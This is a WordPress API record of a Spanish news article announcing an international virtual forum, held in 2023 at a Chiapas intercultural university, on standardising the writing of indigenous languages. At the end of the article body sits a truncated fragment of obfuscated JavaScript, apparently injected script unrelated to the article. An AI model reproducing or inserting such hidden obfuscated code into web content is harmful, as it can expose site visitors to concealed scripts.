{"id":11347,"date":"2023-08-16T01:51:08","date_gmt":"2023-08-16T01:51:08","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=11347"},"modified":"2023-08-16T01:51:08","modified_gmt":"2023-08-16T01:51:08","slug":"anuncian-foro-virtual-internacional-de-experiencias-en-normalizacion-de-la-escritura-de-las-lenguas-originarias","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=11347","title":{"rendered":"Anuncian Foro Virtual Internacional de Experiencias en Normalizaci\u00f3n de la Escritura de las Lenguas Originarias"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez\/Corresponsal<\/p>\n\n\n\n

15 de Agosto del 2023. San Crist\u00f3bal de Las Casas.- La Coordinaci\u00f3n Mundial de Creadores en Lenguas Originarias (CMCLO) y la Universidad Intercultural de Chiapas a trav\u00e9s del Cuerpo Acad\u00e9mico Lenguas Originarias y Educaci\u00f3n Intercultural (UICH-CA-4), dieron a conocer que el pr\u00f3ximo viernes 18 de agosto, martes 5 de septiembre y lunes 2 de octubre del 2023, realizar\u00e1n los Foro Virtual Internacional de Experiencias en Normalizaci\u00f3n de la Escritura de las Lenguas Originarias.<\/p>\n\n\n\n

\u201c La iniciativa de realizar un Foro en torno a la normalizacion de la escritura en lenguas originarias, surge como una propuesta para destacar el car\u00e1cter socializador e incluyente de todo proceso de normalizaci\u00f3n y que es un principio b\u00e1sico del respeto entre los actores relevantes de las naciones originarias, adem\u00e1s de reflexionar en torno a las normas que se han elaborado en M\u00e9xico desde el 2011, por iniciativa del Maestro Pedro Mart\u00ednez Escamilla, representante de la CMCLO, que se presenta en el marco del Decenio Internacional de las Lenguas Ind\u00edgenas y el D\u00eda Internacional de los Pueblos Ind\u00edgenas\u201d, dijo Jos\u00e9 Alfredo L\u00f3pez Jim\u00e9nez, Profesor de Tiempo Completo de la UNICH.<\/p>\n\n\n\n

Puntualiz\u00f3 que este foro busca reflexionar y analizar sobre el impacto de las normas de escritura de las lenguas originarias en los hablantes, los espacios acad\u00e9micos, instituciones gubernamentales y organismos interesados en los temas sobre educaci\u00f3n y lenguas originarias, \u201cse propone la realizaci\u00f3n del Foro Virtual Internacional de Experiencias en Normalizaci\u00f3n de la Escritura de las Lenguas Originarias con la participaci\u00f3n de pa\u00edses como Bolivia, Colombia, Ecuador, Espa\u00f1a, M\u00e9xico, Nicaragua, Per\u00fa y Venezuela\u201d.<\/p>\n\n\n\n

El tambi\u00e9n investigador de la UNICH, explic\u00f3 que la metodolog\u00eda de participaci\u00f3n ofrecer\u00e1n una charla virtual con respecto a los procesos de normas de escritura llevadas a cabo en las lenguas originarias de los diferentes pa\u00edses participantes, que permitan conocer su impacto entre los hablantes, as\u00ed como en los espacios acad\u00e9micos y en los diferentes g\u00e9neros discursivos escritos, \u201ctanto literarios como acad\u00e9micos, y que esto propicie reflexi\u00f3n y an\u00e1lisis entre los participantes del foro con respecto al uso de las normas de escritura establecidas en las diferentes lenguas originarias a nivel nacional e internacional, para luego generar propuestas sobre la consolidaci\u00f3n y el uso de la escritura normada\u201d.<\/p>\n\n\n\n

Detall\u00f3 que los participantes son del pa\u00eds de Bolivia, Elvira Espejo Ayc hablante Quichua y aymara; de Colombia, Ignacio Epinayu Pushaina, hablante del Wayuu; del Ecuador, Gladys Potosi Chuquin, hablante del Kichwa; de Espa\u00f1a, Pere Perello Nondedeu, hablante del Catal\u00e1n; de M\u00e9xico, Pedro Mart\u00ednez Escamilla hablante del N\u00e1huatl; Domingo Meneses M\u00e9ndez, hablante del Ch\u2019ol, Edgar P\u00e9rez Mart\u00ednez hablante del Tsotsil y \u00e9l como hablante del Tsotsil<\/p>\n\n\n\n

Adem\u00e1s de Benalicia Lucas Wuilfred, hablante del Misquito, de Nicaragua; Oscar Huam\u00e1n \u00c1guila, hablante del Quichua, de Per\u00fa; y de Venezuela, Morela Maneiro, hablante del K\u00b4ari\u00f1a<\/p>\n\n\n\n

A los interesados en ser parte del foto, invit\u00f3 visitar la p\u00e1gina de la UNICH, donde se presenta el programa y los d\u00edas en los que participar\u00e1n cada uno de los hablantes, iniciando con la primer sesi\u00f3n el pr\u00f3ximo viernes 18 de agosto, de 14 a 16 horas (Hora del Centro de M\u00e9xico), a trav\u00e9s de la plataforma de Facebook y YouTube de la UNICH.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

\u00d3scar G\u00f3mez\/Corresponsal 15 de Agosto del 2023. San Crist\u00f3bal de Las Casas.- La Coordinaci\u00f3n Mundial de Creadores en Lenguas Originarias (CMCLO) y la Universidad Intercultural de Chiapas a trav\u00e9s del Cuerpo Acad\u00e9mico Lenguas Originarias y Educaci\u00f3n Intercultural (UICH-CA-4), dieron a conocer que el pr\u00f3ximo viernes 18 de agosto, martes 5 de septiembre y lunes 2 …<\/p>\n","protected":false},"author":2,"featured_media":11348,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-11347","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-chiapas"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/11347","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11347"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/11347\/revisions"}],"predecessor-version":[{"id":11349,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/11347\/revisions\/11349"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/11348"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11347"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11347"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11347"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}